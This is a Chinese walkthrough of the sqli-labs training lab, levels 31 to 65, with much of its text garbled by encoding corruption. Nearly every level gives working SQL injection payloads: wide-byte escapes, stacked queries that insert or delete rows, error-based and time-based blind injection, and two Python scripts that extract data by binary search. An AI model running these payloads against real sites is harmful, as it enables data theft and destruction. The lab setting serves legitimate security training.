sqli-labs 30到65关
less-31
邏輯跟30關(guān)一樣,只不過(guò)
$id = '"' .$id. '"'; $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";閉合的情況不一樣。
payload:
http://192.168.211.145/sqli/Less-31/?id=1&id=")union select 1,database(),("3
less-32
首先測(cè)試?id=1'
可見(jiàn)在'前面加了反斜杠,嘗試寬字節(jié)注入
原理:mysql在使用GBK編碼的時(shí)候,會(huì)認(rèn)為兩個(gè)字符為一個(gè)漢字,例如%aa%5c就是一個(gè)漢字(前一個(gè)ascii碼大于128才能到漢字的范圍)。我們?cè)谶^(guò)濾 ' 的時(shí)候,往往利用的思路是將 ' 轉(zhuǎn)換為 ' (轉(zhuǎn)換的函數(shù)或者思路會(huì)在每一關(guān)遇到的時(shí)候介紹)。
因此我們?cè)诖讼朕k法將 ' 前面添加的 \ 除掉,一般有兩種思路:
http://192.168.211.145/sqli/Less-32/?id=-1%df%27union select 1,database(),3%23
獲取到數(shù)據(jù)。
waf如下:
function check_addslashes($string) {$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslashreturn $string; }less-33
同樣使用寬字節(jié)注入。
function check_addslashes($string) {$string= addslashes($string); return $string; }addslashes() 函數(shù)返回在預(yù)定義字符之前添加反斜杠的字符串。
預(yù)定義字符是:
單引號(hào)(')
雙引號(hào)(")
反斜杠(\)
NULL
32關(guān)只不過(guò)是用正則去實(shí)現(xiàn)的類(lèi)似addslashes(),函數(shù)的功能。
less-34
同樣是寬字節(jié)注入,只不過(guò)是post注入,在這里需要使用burpsuite抓包修改
拿去數(shù)據(jù)的話構(gòu)造payload還是一樣的方法
less-35
這個(gè)題剛開(kāi)始做的時(shí)候直接常規(guī)做法讀了,讀到了數(shù)據(jù)。
但是題目不應(yīng)該是讓這樣操作的吧,還是看一下代碼吧。
function check_addslashes($string) {$string = addslashes($string);return $string; } mysql_query("SET NAMES gbk"); $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";這個(gè)題目感覺(jué)不應(yīng)該在35關(guān)啊,數(shù)字型注入,只需要編碼繞過(guò)就可以了啊。 payload:
http://192.168.211.145/sqli/Less-35/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273
less-36
這個(gè)題目與前兩個(gè)不同的是使用的函數(shù)不同,
function check_quotes($string) {$string= mysql_real_escape_string($string); return $string; }mysql_real_escape_string() 函數(shù)轉(zhuǎn)義 SQL 語(yǔ)句中使用的字符串中的特殊字符。
下列字符受影響:
\x00
\n
\r
\
'
"
\x1a
如果成功,則該函數(shù)返回被轉(zhuǎn)義的字符串。如果失敗,則返回 false。
同樣使用寬字節(jié)注入攻擊。
less-37
這關(guān)的攻擊姿勢(shì)跟34關(guān)差不多,waf跟36關(guān)一樣,攻擊姿勢(shì)看34關(guān)。
less-38
下面將會(huì)考查堆疊注入(Stacked injections).從名詞的含義就可以看到應(yīng)該是一堆sql語(yǔ)句(多條)一起執(zhí)行。而在真實(shí)的運(yùn)用中也是這樣的,我們知道在mysql中,主要是命令行中,每一條語(yǔ)句結(jié)尾加 ; 表示語(yǔ)句結(jié)束。這樣我們就想到了是不是可以多句一起使用。這個(gè)叫做stacked injection。
原理介紹:
在SQL中,分號(hào)(;)是用來(lái)表示一條sql語(yǔ)句的結(jié)束。試想一下我們?cè)?; 結(jié)束一個(gè)sql語(yǔ)句后繼續(xù)構(gòu)造下一條語(yǔ)句,會(huì)不會(huì)一起執(zhí)行?因此這個(gè)想法也就造就了堆疊注入。而union injection(聯(lián)合注入)也是將兩條語(yǔ)句合并在一起,兩者之間有什么區(qū)別么?區(qū)別就在于union 或者union all執(zhí)行的語(yǔ)句類(lèi)型是有限的,可以用來(lái)執(zhí)行查詢(xún)語(yǔ)句,而堆疊注入可以執(zhí)行的是任意的語(yǔ)句。
例如: 新建一個(gè)表
select * from users where id=1;create table test like users;
執(zhí)行成功,我們?cè)偃タ匆幌率欠裥陆ǔ晒Ρ怼?/p>
局限性:
堆疊注入的局限性在于并不是每一個(gè)環(huán)境下都可以執(zhí)行,可能受到API或者數(shù)據(jù)庫(kù)引擎不支持的限制,當(dāng)然了權(quán)限不足也可以解釋為什么攻擊者無(wú)法修改數(shù)據(jù)或者調(diào)用一些程序。
雖然我們前面提到了堆疊查詢(xún)可以執(zhí)行任意的sql語(yǔ)句,但是這種注入方式并不是十分的完美的。在我們的web系統(tǒng)中,因?yàn)榇a通常只返回一個(gè)查詢(xún)結(jié)果,因此,堆疊注入第二個(gè)語(yǔ)句產(chǎn)生錯(cuò)誤或者結(jié)果只能被忽略,我們?cè)谇岸私缑媸菬o(wú)法看到返回結(jié)果的。
因此,在讀取數(shù)據(jù)時(shí),我們建議使用union(聯(lián)合)注入。同時(shí)在使用堆疊注入之前,我們也是需要知道一些數(shù)據(jù)庫(kù)相關(guān)信息的,例如表名,列名等信息。
payload:
http://192.168.211.145/sqli/Less-38/?id=1';insert into users(id,username,password) values (27,'test','test')--+
可見(jiàn)成功插入數(shù)據(jù)。
less-39
這道題目跟上道題目是一樣的,唯一的區(qū)別是
http://192.168.211.145/sqli/Less-38/?id=1';insert into users(id,username,password) values (27,'test','test')--+
改為數(shù)字型注入了。
less-40
題目也一樣,只不過(guò)語(yǔ)句
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
閉合一下就可以。
less-41
這關(guān)和less-39關(guān)一直,只不過(guò)錯(cuò)誤沒(méi)有回顯。
http://192.168.211.145/sqli/Less-41/?id=1 ; insert into users(id,username,password) values (28,'test2','test2')--+
less-42
分析關(guān)鍵代碼:
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);$password = $_POST["login_password"];$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";登陸的這里可以看到login_password登陸的時(shí)候并沒(méi)有使用mysqli_real_escape_string來(lái)進(jìn)行過(guò)濾,然后直接帶去sql語(yǔ)句進(jìn)行執(zhí)行了。
那么就可以利用這里來(lái)進(jìn)行注入了。
在進(jìn)行post的時(shí)候,username隨機(jī)就可以
login_password=';delete from users where username="test2";#
然后執(zhí)行登陸之后
可見(jiàn)命令已經(jīng)執(zhí)行,test2用戶(hù)已經(jīng)被刪除。
同時(shí)如果想拿數(shù)據(jù)的話可以
login_password=0' union select 1,database(),3;#
執(zhí)行語(yǔ)句實(shí)際如下:
less-43
與上一關(guān)基本差不多,區(qū)別在于
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
只需要再閉合)就可以。payload如下:
delete from users where username="123";#
拿數(shù)據(jù)的跟上面也差不多,閉合一下就OK,payload如下
0') union select 1,database(),3;#
less-44
這關(guān)與前兩個(gè)的區(qū)別就在于沒(méi)有報(bào)錯(cuò)回顯,很難知道是怎么去閉合的,這里閉合的話常規(guī)閉合嘗試就可以。
payload如下:
login_password=0' union select 1,database(),3;#less-45
這題的性質(zhì)跟上面那個(gè)題性質(zhì)差不多,重點(diǎn)還是在閉合
login_password=0') union select 1,database(),3;#less-46
從這關(guān)開(kāi)始的幾關(guān)要考查order by 注入。
這關(guān)有報(bào)錯(cuò)回顯,直接報(bào)錯(cuò)注入。
可以看到已經(jīng)報(bào)錯(cuò),但是被解析了,右鍵查看一下源代碼就能看到。
看一下代碼
$sql = "SELECT * FROM users ORDER BY $id";上面執(zhí)行的語(yǔ)句:
mysql> select * from users order by 1 and extractvalue(1,concat(0x3c,(select da tabase()))); ERROR 1105 (HY000): XPATH syntax error: '<security'同時(shí)這里也可以也可以使用盲注,構(gòu)造布爾條件,example如下:
?sort=1 and if(1=1, sleep(1), null) sort=1 and (length(database())) = 8 and if(1=1, sleep(1), null) sort=1 and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null)less-47
與上一關(guān)的區(qū)別在于
$sql = "SELECT * FROM users ORDER BY '$id'";閉合一下就可以。
sort=1' and extractvalue(1,concat(0x3c,(select database())))%23 ?sort=1 and if(1=1, sleep(1), null) sort=1' and (length(database())) = 8 and if(1=1, sleep(1), null)%23 sort=1' and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null)%23less-48
這關(guān)沒(méi)有報(bào)錯(cuò)回顯,盲注
?sort=1 and if(1=1, sleep(1), null) sort=1 and (length(database())) = 8 and if(1=1, sleep(1), null) sort=1 and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null)less-49
跟上一關(guān)差不多,字符串類(lèi)型盲注
?sort=1' and if(1=1, sleep(1), null)%23 sort=1' and (length(database())) = 8 and if(1=1, sleep(1), null)%23 sort=1' and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null)%23less-50
這里就不對(duì)stacked injection進(jìn)行贅述了。利用payload
?sort=1;delete from users where username="admin2" less-51 $sql="SELECT * FROM users ORDER BY '$id'";注意單引號(hào)的閉合,攻擊payload如下:
?sort=1';delete from users where username='admin4less-52
跟50關(guān)差不多,只不過(guò)沒(méi)回顯。攻擊payload一樣。
less-53
這關(guān)跟52關(guān)一樣,只不過(guò)是字符串類(lèi)型的,注意一下閉合,payload用上面的就可以。
less-54
后面這幾關(guān)主要一個(gè)進(jìn)階的過(guò)程,將前面所學(xué)到的知識(shí)融會(huì)貫通,熟練使用。 代碼分析如下
if(!isset($_POST['answer_key'])) {// resetting the challenge and repopulating the table .if(isset($_POST['reset'])){setcookie('challenge', ' ', time() - 3600000);echo "<font size=4>You have reset the Challenge</font><br>\n";echo "Redirecting you to main challenge page..........\n";header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );//echo "cookie expired";}else{// Checking the cookie on the page and populate the table with random value.if(isset($_COOKIE['challenge'])){$sessid=$_COOKIE['challenge'];//echo "Cookie value: ".$sessid;}else{$expire = time()+60*60*24*30;$hash = data($table,$col);setcookie("challenge", $hash, $expire);}echo "<br>\n";// take the variablesif(isset($_GET['id'])){$id=$_GET['id'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);//update the counter in databasenext_tryy();//Display attempts on screen.$tryyy = view_attempts();echo "You have made : ". $tryyy ." of $times attempts";echo "<br><br><br>\n";//Reset the Database if you exceed allowed attempts.if($tryyy >= ($times+1)){setcookie('challenge', ' ', time() - 3600000);echo "<font size=4>You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset </font><br>\n";echo "Redirecting you to challenge page..........\n";header( "refresh:3;url=../sql-connections/setup-db-challenge.php?id=$pag" );echo "<br>\n";} // Querry DB to get the correct output$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo '<font color= "#00FFFF">'; echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}else{echo '<font color= "#FFFF00">'; // print_r(mysql_error());echo "</font>"; }}else{echo "Please input the ID as parameter with numeric value as done in Lab excercises\n<br><br>\n</font>";echo "<font color='#00FFFF': size=3>The objective of this challenge is to dump the <b>(secret key)</b> from only random table from Database <b><i>('CHALLENGES')</i></b> in Less than $times attempts<br>";echo "For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.<br>" ;}} ?> <?php } else {echo '<div style=" color:#00FFFF; font-size:18px; text-align:center">';$key = addslashes($_POST['key']);$key = mysql_real_escape_string($key);//echo $key;//Query table to verify your result$sql="SELECT 1 FROM $table WHERE $col1= '$key'";//echo "$sql";$result=mysql_query($sql)or die("error in submittion of Key Solution".mysql_error());$row = mysql_fetch_array($result);if($row){echo '<font color= "#FFFF00">';echo "\n<br><br><br>";echo '<img src="../images/Less-54-1.jpg" />';echo "</font>";header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" ); }else{echo '<font color= "#FFFF00">';echo "\n<br><br><br>";echo '<img src="../images/slap1.jpg" />';header( "refresh:3;url=index.php" );//print_r(mysql_error());echo "</font>"; } } ?>如果沒(méi)有點(diǎn)提交按鈕將會(huì)進(jìn)入下面的else語(yǔ)句,有過(guò)濾,顯然突破口在上面。如果點(diǎn)了提交將會(huì)setcookie,然后看到有個(gè)GET提交的id參數(shù),然后有個(gè)更新數(shù)據(jù)庫(kù)操作,這里限制了10次請(qǐng)求次數(shù),否則更新數(shù)據(jù)庫(kù)。
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
然后進(jìn)入查詢(xún)語(yǔ)句,沒(méi)有過(guò)濾。
http://192.168.211.145/sqli/Less-54/index.php?id=-1%27%20union%20select%201,database(),%273 //查庫(kù)
http://192.168.211.145/sqli/Less-54/index.php?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23 //查表
http://192.168.211.145/sqli/Less-54/index.php?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ecimhbu7cx //查列
http://192.168.211.145/sqli/Less-54/index.php?id=-1' union select 1,group_concat(secret_NO71),3 from ecimhbu7cx%23 //查數(shù)據(jù)
less-55
這個(gè)題限制了請(qǐng)求14次,不過(guò)當(dāng)測(cè)試出閉合情況之后后面就一切順利了。 先嘗試閉合
http://192.168.211.145/sqli/Less-55/?id=1'%23 //錯(cuò)誤
http://192.168.211.145/sqli/Less-55/?id=1')%23 //錯(cuò)誤
http://192.168.211.145/sqli/Less-55/?id=1)%23 //正確
嘗試之后發(fā)現(xiàn)是用)閉合,
http://192.168.211.145/sqli/Less-55/?id=-1) union select 1,database(),3%23
后面的payload跟上一關(guān)差不多,加上)閉合就可以。
less-56
這幾關(guān)都差不多,首先也是嘗試閉合
http://192.168.211.145/sqli/Less-56/index.php?id=1')%23 //成功閉合
http://192.168.211.145/sqli/Less-56/index.php?id=-1') union select 1,database(),3%23
后面就常規(guī)注入就可以了。
less-57
這關(guān)是雙引號(hào)閉合的
http://192.168.211.145/sqli/Less-57/?id=-1" union select 1,database(),3%23
less-58
關(guān)鍵代碼如下
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo '<font color= "#00FFFF">'; $unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");$pass = array_reverse($unames);echo 'Your Login name : '. $unames[$row['id']];echo "<br>";echo 'Your Password : ' .$pass[$row['id']];echo "</font>";}else{echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>"; }可以看到查詢(xún)之后并沒(méi)有返回查詢(xún)數(shù)據(jù)庫(kù)當(dāng)中的數(shù)據(jù),不能使用union聯(lián)合注入,但是有報(bào)錯(cuò)回顯,可以使用報(bào)錯(cuò)注入。
http://192.168.211.145/sqli/Less-58/index.php?id=0' and extractvalue(1, concat(0x5c, (select database())))%23
less-59
與上一關(guān)的區(qū)別在于:
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1"; payload: http://192.168.211.145/sqli/Less-59/index.php?id= 1 and extractvalue(1, concat(0x5c, (select database())))%23less-60
與上一關(guān)的區(qū)別在于
$id = '("'.$id.'")';
攻擊payload如下
http://192.168.211.145/sqli/Less-60/?id=1") and extractvalue(1, concat(0x5c, (select database())))%23
less-61
區(qū)別在于
$sql="SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1";攻擊payload如下:
http://192.168.211.145/sqli/Less-61/?id=1'))and extractvalue(1, concat(0x5c, (select database())))%23
這幾關(guān)都是有報(bào)錯(cuò)回顯的,很容易根據(jù)報(bào)錯(cuò)語(yǔ)句去閉合。
less-62
接下來(lái)幾關(guān)要在130次內(nèi)完成盲注。
可以看到回顯不一樣,很容易構(gòu)造布爾條件。
只不過(guò)有次數(shù)限制,很明顯不能去爆破,
http://192.168.211.145/sqli/Less-62/index.php?id=1') and (length(database())=10)%23
手試幾次查出數(shù)據(jù)庫(kù)長(zhǎng)度為10.
寫(xiě)腳本跑出數(shù)據(jù)庫(kù)名字
# -*- coding: UTF-8 -*- import requests global num url = "http://192.168.211.145/sqli/Less-62/index.php?id=1')" def check(payload):global numnum += 1content = requests.get(url=payload).textprint payloadif "Angelina" in content:return 1else:return 0 def exp():result = ''start = 30end = 127for i in range(1,11):for j in range(start,end):tmp = (start+end)/2#print tmppayload = url + "and ascii(substr(database(),%d,1))>%d--+" % (i,tmp)if (end - start ==1):payload = url + "and ascii(substr(database(),%d,1))=%d--+" % (i,tmp)if check(payload):result += chr(tmp)start = 30end = 127breakelse:result += chr(tmp+1)start = 30end =127breakif check(payload):start = tmpelse:end = tmpprint result if __name__ == '__main__':num =0exp()print num可見(jiàn)爆破了77了跑出數(shù)據(jù)庫(kù)名字。
中間就省略了,直接貼出跑字段的腳本
# -*- coding: UTF-8 -*- import requests global num url = "http://192.168.211.145/sqli/Less-62/index.php?id=1')" def check(payload):global numnum += 1content = requests.get(url=payload).textprint payloadif "Angelina" in content:return 1else:return 0 def exp():result = ''start = 30end = 127for i in range(1,25):for j in range(start,end):tmp = (start+end)/2#print tmppayload = url + "and ascii(substr((select secret_28HE from qyzq3rflb5),%d,1))>%d--+" % (i,tmp)if (end - start ==1):payload = url + "and ascii(substr((select secret_28HE from qyzq3rflb5),%d,1))=%d--+" % (i,tmp)if check(payload):result += chr(tmp)start = 30end = 127breakelse:result += chr(tmp+1)start = 30end =127breakif check(payload):start = tmpelse:end = tmpprint result if __name__ == '__main__':num =0exp()print num這里雖然限制了130次,但是還是可以用腳本跑出內(nèi)容,還沒(méi)再怎么縮小,想到之后更新。
less-63
這關(guān)跟上一關(guān)一樣,唯一的區(qū)別在于
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";需要使用單引號(hào)閉合。
less-64
與前面一樣,區(qū)別在于
$sql="SELECT * FROM security.users WHERE id=(($id)) LIMIT 0,1";括號(hào)閉合一下。
less-65
這幾關(guān)性質(zhì)都一樣,只不過(guò)閉合語(yǔ)句不同,不再贅述、
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";總結(jié)
以上是生活随笔為你收集整理的sqli-labs 30到65关的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: sql_mysql注入基础篇
- 下一篇: sqli-lib1-36关 精选篇